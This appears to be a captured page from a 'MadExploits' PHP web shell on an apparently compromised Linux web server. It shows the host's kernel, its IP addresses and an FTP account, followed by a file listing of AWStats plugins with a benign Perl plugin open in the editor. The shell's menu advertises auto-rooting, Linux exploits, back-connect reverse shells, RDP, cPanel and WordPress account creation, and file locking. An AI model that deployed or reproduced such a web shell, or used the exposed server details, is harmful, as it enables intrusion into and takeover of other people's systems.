Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
awstats /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
example
[ DIR ]
drwxr-xr-x
clusterinfo.pm
3.55
KB
-rw-r--r--
decodeutfkeys.pm
2.82
KB
-rw-r--r--
export_to_csv.pm
18.26
KB
-rw-r--r--
geoip.pm
9.63
KB
-rw-r--r--
geoip2_city.pm
19.62
KB
-rw-r--r--
geoip2_country.pm
8.7
KB
-rw-r--r--
geoip6.pm
10.05
KB
-rw-r--r--
geoip_asn_maxmind.pm
20.76
KB
-rw-r--r--
geoip_city_maxmind.pm
114.04
KB
-rw-r--r--
geoip_isp_maxmind.pm
19.35
KB
-rw-r--r--
geoip_org_maxmind.pm
19.26
KB
-rw-r--r--
geoip_region_maxmind.pm
25.22
KB
-rw-r--r--
geoipfree.pm
3.58
KB
-rw-r--r--
graphapplet.pm
4.91
KB
-rw-r--r--
graphgooglechartapi.pm
18.9
KB
-rw-r--r--
hashfiles.pm
5.02
KB
-rw-r--r--
hostinfo.pm
6.92
KB
-rw-r--r--
ipv6.pm
2.37
KB
-rw-r--r--
rawlog.pm
4.52
KB
-rw-r--r--
timehires.pm
1.78
KB
-rw-r--r--
timezone.pm
7.08
KB
-rw-r--r--
tooltips.pm
7.94
KB
-rw-r--r--
urlalias.pm
4.62
KB
-rw-r--r--
userinfo.pm
3.46
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : decodeutfkeys.pm
#!/usr/bin/perl #----------------------------------------------------------------------------- # decodeUTFKeys AWStats plugin # Allow AWStats to convert keywords strings coded by some search engines in # UTF8 coding to a common string in a local charset. #----------------------------------------------------------------------------- # Perl Required Modules: Encode and URI::Escape #----------------------------------------------------------------------------- # <----- # ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES if (!eval ('require "Encode.pm"')) { return $@?"Error: $@":"Error: Need Perl module Encode"; } if (!eval ('require "URI/Escape.pm"')) { return $@?"Error: $@":"Error: Need Perl module URI::Escape"; } #if (!eval ('require "HTML/Entities.pm"')) { return $@?"Error: $@":"Error: Need Perl module HTML::Entities"; } # -----> use strict;no strict "refs"; #----------------------------------------------------------------------------- # PLUGIN VARIABLES #----------------------------------------------------------------------------- # <----- # ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN # AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. my $PluginNeedAWStatsVersion="6.0"; my $PluginHooksFunctions="DecodeKey"; # -----> # <----- # IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. use vars qw/ /; # -----> #----------------------------------------------------------------------------- # PLUGIN FUNCTION: Init_pluginname #----------------------------------------------------------------------------- sub Init_decodeutfkeys { my $InitParams=shift; # <----- # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS # -----> my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); return ($checkversion?$checkversion:"$PluginHooksFunctions"); } #------------------------------------------------------------------------------ # Function: Converts an UTF8 string to specified Charset # Parameters: utfstringtodecode charsettoencode # Return: newencodedstring #------------------------------------------------------------------------------ sub DecodeKey_decodeutfkeys { my $string = shift; my $encoding = shift; if (! $encoding) { error("Function DecodeKey from plugin decodeutfkeys was called but AWStats don't know language code required to output new value."); } $string =~ s/\\x(\w\w)/%$1/gi; # Change "\xc4\xbe\xd7\xd3\xc3\xc0" into "%c4%be%d7%d3%c3%c0" $string=URI::Escape::uri_unescape($string); if ( $string =~ m/^(?:[\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xef][\x80-\xbf][\x80-\xbf]|\xf0[\x90-\xbf][\x80-\xbf][\x80-\xbf]|[\xf1-\xf7][\x80-\xbf][\x80-\xbf][\x80-\xbf])*$/ ) { $string=Encode::encode($encoding, Encode::decode("utf-8", $string)); } #$string=HTML::Entities::encode_entities($string); $string =~ s/[;+]/ /g; return $string; } 1; # Do not remove this line
Close